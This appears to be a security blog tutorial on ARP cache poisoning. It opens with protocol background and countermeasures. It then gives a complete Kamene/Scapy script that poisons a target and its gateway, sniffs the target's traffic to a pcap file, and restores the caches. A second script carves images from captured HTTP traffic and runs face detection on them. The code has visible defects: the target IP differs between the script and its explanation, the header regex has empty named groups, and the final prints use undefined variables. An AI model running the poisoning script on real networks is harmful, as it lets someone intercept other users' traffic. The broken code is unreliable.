ARP Cache poisoning with Scapy fork Kamene

ARP Cache poisoning with Scapy fork Kamene

The ARP (Address Resolution Protocol) cache, also known as the ARP table or ARP cache table, is a mapping of IP addresses to MAC (Media Access Control) addresses on a local network. ARP is used to discover the hardware address associated with a given IP address when communicating on a local network.

How the ARP cache works:

  1. Address Resolution Protocol (ARP):

    • When a device on a local network wants to communicate with another device, it needs to know the MAC address associated with the target device’s IP address.
    • If the device doesn’t have this information, it sends an ARP request broadcast to the local network, asking, “Who has the IP address X?”
    • The device with the corresponding IP address responds with its MAC address.
  2. ARP Cache:

    • To avoid repetitive ARP requests for frequently accessed devices, operating systems maintain an ARP cache or table.
    • The ARP cache stores the mapping between IP addresses and MAC addresses of devices recently contacted by the system.
  3. ARP Cache Entry:

    • Each entry in the ARP cache typically includes the following information:
      • IP Address
      • MAC Address
      • Type (e.g., Dynamic or Static)
      • Timestamp (when the entry was added or last updated)
  4. Dynamic vs. Static Entries:

    • Dynamic Entries: Most entries in the ARP cache are dynamic and are learned through the ARP process described earlier. They have a finite lifetime and may be refreshed or removed after a certain period of inactivity.
    • Static Entries: Some ARP cache entries may be manually configured (static). These entries are explicitly added by the network administrator and do not expire automatically.
  5. Viewing ARP Cache:

    • You can view the ARP cache on a system using commands specific to the operating system.
      • On Windows, you can use the arp -a command in the command prompt.
      • On Linux/Unix, you can use the arp -n or ip neigh command.

    Example (on Windows):

    arp -a
    

    Example (on Linux/Unix):

    arp -n
    
  6. Clearing ARP Cache:

    • Sometimes, it might be necessary to clear the ARP cache. This can be done using specific commands based on the operating system.

    Example (on Windows):

    arp -d
    

    Example (on Linux/Unix):

    sudo ip neigh flush all
    

The ARP cache is a crucial component of local network communication, and understanding its function is important for troubleshooting network connectivity issues and maintaining network security.

ARP cache poisoning, also known as ARP spoofing or ARP spoof attack, is a technique used by malicious actors to manipulate the ARP cache of a target device on a local network. The attack involves sending fake or malicious Address Resolution Protocol (ARP) messages to associate the attacker’s MAC address with the IP address of a legitimate device on the network.

How ARP cache poisoning works:

  1. Normal ARP Operation:

    • In a typical ARP operation, devices on a local network use ARP to discover the hardware (MAC) address associated with a given IP address.
    • ARP requests are broadcasted to all devices on the local network, and the device with the corresponding IP address responds with its MAC address.
  2. ARP Cache Poisoning Steps:

    • Step 1: ARP Request

      • The attacker starts by sending a malicious ARP request to the target network, asking for the MAC address corresponding to a specific IP address (e.g., the default gateway or another host).
    • The ARP request is broadcast to all devices on the network.

    • Step 2: ARP Reply Spoofing

      • The attacker sends a false ARP reply (spoofed ARP reply) to the target.
      • This reply contains the attacker’s MAC address but claims to be from the legitimate device associated with the requested IP address.
      • The target device updates its ARP cache with the malicious mapping, associating the attacker’s MAC address with the IP address.
    • Step 3: Subsequent Traffic Diversion

      • Now, all traffic intended for the targeted IP address is sent to the attacker instead of the legitimate device.
      • The attacker can intercept, modify, or drop the traffic as desired.
  3. Consequences of ARP Cache Poisoning:

    • Man-in-the-Middle (MITM) Attacks: ARP cache poisoning enables a man-in-the-middle position, allowing the attacker to intercept and manipulate communication between two parties.
    • Traffic Interception and Modification: The attacker can intercept sensitive information transmitted between devices on the network.
    • Denial of Service (DoS): By disrupting normal network communication, ARP cache poisoning can lead to a denial of service for legitimate users.
  4. Countermeasures:

    • Static ARP Entries: Manually configure static ARP entries on critical devices to prevent them from being poisoned.
    • ARP Spoofing Detection Tools: Use network security tools that can detect and alert on ARP spoofing attacks.
    • Packet Filtering and Inspection: Implement firewalls and intrusion detection systems to filter and inspect network traffic.
    • Port Security: Some switches support features like port security, which can limit the number of MAC addresses associated with a specific port.

ARP cache poisoning is a security concern, and network administrators should be aware of it to implement appropriate countermeasures. Regular monitoring and security best practices are essential for preventing and mitigating the impact of such attacks.

Python
from kamene.all import *
import sys
import threading
import time

interface = "en1"
tgt_ip = "172.12.1.71"
tgt_gateway = "172.16.1.254"
packet_count = 1000
poisoning = True


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # slightly different method using send
    print("[*] Restoring target...")
    send(ARP(op=2,
             psrc=gateway_ip,
             pdst=target_ip,
             hwdst="ff:ff:ff:ff:ff:ff",
             hwsrc=gateway_mac),
         count=5)
    send(ARP(op=2,
             psrc=target_ip,
             pdst=gateway_ip,
             hwdst="ff:ff:ff:ff:ff:ff",
             hwsrc=target_mac),
         count=5)


def get_mac(ip_address):
    responses, unanswered = srp(
        Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address),
        timeout=2,
        retry=10
    )

    # return the MAC address from a response
    for s, r in responses:
        return r[Ether].src
    return None


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    global poisoning

    poison_tgt = ARP()
    poison_tgt.op = 2
    poison_tgt.psrc = gateway_ip
    poison_tgt.pdst = target_ip
    poison_tgt.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison. [CTRL-C to stop]")

    while poisoning:
        send(poison_tgt)
        send(poison_gateway)
        time.sleep(2)

    print("[*] ARP poison attack finished.")

    return


# set our interface
conf.iface = interface

# turn off output
conf.verb = 0

print("[*] Setting up %s" % interface)

tgt_gateway_mac = get_mac(tgt_gateway)

if tgt_gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac))

tgt_mac = get_mac(tgt_ip)

if tgt_mac is None:
    print("[!!!] Failed to get target MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Target %s is at %s" % (tgt_ip, tgt_mac))

# start poison thread
poison_thread = threading.Thread(target=poison_target,
                                 args=(tgt_gateway,
                                       tgt_gateway_mac,
                                       tgt_ip,
                                       tgt_mac)
                                 )
poison_thread.start()

try:
    print("[*] Starting sniffer for %d packets" % packet_count)
    bpf_filter = "ip host %s" % tgt_ip
    packets = sniff(count=packet_count,
                    filter=bpf_filter,
                    iface=interface
                    )
    # write out the captured packets
    print("[*] Writing packets to arper.pcap")
    wrpcap('arper.pcap', packets)

except KeyboardInterrupt:
    pass

finally:
    poisoning = False
    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(tgt_gateway,
                   tgt_gateway_mac,
                   tgt_ip,
                   tgt_mac
                   )
    sys.exit(0)

A network packet manipulation library based on Scapy. ARP poisoning involves manipulating the ARP cache of a target device on a local network to redirect its traffic through the attacker’s machine. The script also includes a basic packet sniffer to capture network traffic between the target and the gateway.

Explanation

  1. Import Libraries:

    from kamene.all import *
    import sys
    import threading
    import time
    

    The script imports necessary modules from Kamene for network packet manipulation, as well as sys, threading, and time for general scripting functionality.

  2. Configuration:

    interface = "en1"
    tgt_ip = "172.16.1.71"
    tgt_gateway = "172.16.1.254"
    packet_count = 1000
    poisoning = True
    
    • interface: Specifies the network interface to be used (e.g., “en1”).
    • tgt_ip: Target IP address (the victim’s IP address).
    • tgt_gateway: IP address of the default gateway.
    • packet_count: Number of packets to sniff.
    • poisoning: A flag to control the ARP poisoning loop.
  3. ARP Cache Restoration Function:

    def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
        # ARP cache restoration using send
        # Sends ARP replies to restore the legitimate associations
        ...
    
  4. MAC Address Retrieval Function:

    def get_mac(ip_address):
        # Sends ARP requests to get MAC address corresponding to an IP address
        ...
    
  5. ARP Poisoning Function:

    def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
        # ARP poisoning loop
        ...
    
  6. Configuration Settings for Kamene:

    conf.iface = interface
    conf.verb = 0  # Turn off Kamene output
    

    Configures Kamene to use the specified network interface and suppress output.

  7. Retrieve MAC Addresses of the Target and Gateway:

    tgt_gateway_mac = get_mac(tgt_gateway)
    tgt_mac = get_mac(tgt_ip)
    

    Retrieves the MAC addresses associated with the target and gateway IP addresses.

  8. ARP Poisoning Thread:

    poison_thread = threading.Thread(target=poison_target,
                                     args=(tgt_gateway,
                                           tgt_gateway_mac,
                                           tgt_ip,
                                           tgt_mac)
                                     )
    poison_thread.start()
    

    Starts a separate thread for the ARP poisoning function.

  9. Packet Sniffing:

    try:
        ...
        packets = sniff(count=packet_count,
                        filter=bpf_filter,
                        iface=interface)
        ...
    

    Uses Kamene’s sniff function to capture a specified number of packets that match the given BPF (Berkeley Packet Filter) filter.

  10. Packet Writing:

    print("[*] Writing packets to arper.pcap")
    wrpcap('arper.pcap', packets)
    

    Writes the captured packets to a pcap file named ‘arper.pcap’.

  11. Cleanup and Restoration:

    finally:
        poisoning = False
        time.sleep(2)
        restore_target(tgt_gateway,
                       tgt_gateway_mac,
                       tgt_ip,
                       tgt_mac)
        sys.exit(0)
    

    Stops the ARP poisoning thread, waits for it to exit, and then restores the ARP cache on the target device before exiting the script.

Please note that ARP poisoning is a malicious activity and should only be performed in controlled environments for educational or security testing purposes. Unauthorized use of ARP poisoning is illegal and unethical. Always ensure you have the necessary permissions before conducting any network-related activities.

PCAP Processing

PCAP (Packet Capture) files store network traffic data, and processing them is a common task in network analysis, security, and troubleshooting. Python provides various libraries for working with PCAP files, and one of them is scapy, which is used in the code you provided. Here’s how to process PCAP files using scapy:

Python
import cv2
from kamene.all import *

pictures_directory = "pic_carver/pictures"
faces_directory = "pic_carver/faces"
pcap_file = "bhp.pcap"


def face_detect(path, file_name):
    img = cv2.imread(path)
    cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
    rects = cascade.detectMultiScale(img, 1.3, 4,
                                     cv2.CASCADE_SCALE_IMAGE, (20, 20)
                                     )
    if len(rects) == 0:
        return False
    rects[:, 2:] += rects[:, :2]

    # highlight the faces in the image
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
    cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img)
    return True


def get_http_headers(http_payload):
    try:
        # split the headers off if it is HTTP traffic
        headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2]
        # break out the headers
        headers = dict(
            re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw))
    except:
        return None
    if "Content-Type" not in headers:
        return None
    return headers


def extract_image(headers, http_payload):
    image = None
    image_type = None

    try:
        if "image" in headers['Content-Type']:
            # grab the image type and image body
            image_type = headers['Content-Type'].split("/")[1]
            image = http_payload[http_payload.index("\r\n\r\n") + 4:]
            # if we detect compression decompress the image
            try:
                if "Content-Encoding" in list(headers.keys()):
                    if headers['Content-Encoding'] == "gzip":
                        image = zlib.decompress(image, 16 + zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == "deflate":
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None
    return image, image_type


def http_assembler(pcap_fl):
    carved_images = 0
    faces_detected = 0

    a = rdpcap(pcap_fl)
    sessions = a.sessions()

    for session in sessions:
        http_payload = ""
        for packet in sessions[session]:
            try:
                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                    # reassemble the stream into a single buffer
                    http_payload += str(packet[TCP].payload)
            except:
                pass
        headers = get_http_headers(http_payload)

        if headers is None:
            continue

        image, image_type = extract_image(headers, http_payload)

        if image is not None and image_type is not None:
            # store the image
            file_name = "%s-pic_carver_%d.%s" % (
                pcap_fl, carved_images, image_type)
            fd = open("%s/%s" % (pictures_directory, file_name), "wb")
            fd.write(image)
            fd.close()
            carved_images += 1
            # now attempt face detection
            try:
                result = face_detect("%s/%s" % (pictures_directory, file_name),
                                     file_name)
                if result is True:
                    faces_detected += 1
            except:
                pass
    return carved_images, faces_detected


carved_img, faces_dtct = http_assembler(pcap_file)

print("Extracted: %d images" % carved_images)
print("Detected: %d faces" % faces_detected)

This Python script is a network traffic analysis tool that reads a PCAP file (bhp.pcap), extracts HTTP traffic, identifies images within the HTTP streams, and attempts to detect faces in those images using the OpenCV library. Here’s a breakdown of the code:

  1. Import Libraries:

    import cv2
    from kamene.all import *
    
    • cv2: OpenCV library for computer vision tasks.
    • kamene: Scapy’s Kamene module for network packet manipulation.
  2. Configuration:

    pictures_directory = "pic_carver/pictures"
    faces_directory = "pic_carver/faces"
    pcap_file = "bhp.pcap"
    
    • pictures_directory: Directory to store extracted images.
    • faces_directory: Directory to store images with detected faces.
    • pcap_file: Path to the PCAP file.
  3. Face Detection Function:

    def face_detect(path, file_name):
        # Uses OpenCV to detect faces in an image
        ...
    
  4. HTTP Header Extraction Function:

    def get_http_headers(http_payload):
        # Extracts HTTP headers from the payload
        ...
    
  5. Image Extraction Function:

    def extract_image(headers, http_payload):
        # Extracts image and image type from HTTP headers and payload
        ...
    
  6. HTTP Assembler Function:

    def http_assembler(pcap_fl):
        # Assembles HTTP streams, extracts images, and detects faces
        ...
    
  7. Main Execution:

    carved_img, faces_dtct = http_assembler(pcap_file)
    
    • Calls the http_assembler function with the provided PCAP file.
  8. Print Results:

    print("Extracted: %d images" % carved_images)
    print("Detected: %d faces" % faces_detected)
    
    • Prints the number of images extracted and faces detected.

The script processes each TCP stream in the PCAP file looking for HTTP traffic. For each HTTP stream, it attempts to extract images based on the Content-Type header. Extracted images are saved to the pictures_directory. If a face is detected in an image, a copy of the image with face annotations is saved to the faces_directory.

Please note that for this code to work, you need to have the OpenCV library and the haarcascade_frontalface_alt.xml file (used for face detection) available. Additionally, the code may need adjustments based on the specific format and structure of the PCAP file you are analyzing.

Total
3
Shares

Leave a Reply

Previous Post
Stealing Email Credentials Using Scapy module

Stealing Email Credentials Using Scapy module

Next Post
Mapping Open Source web application installations

Mapping Open Source web application installations

Related Posts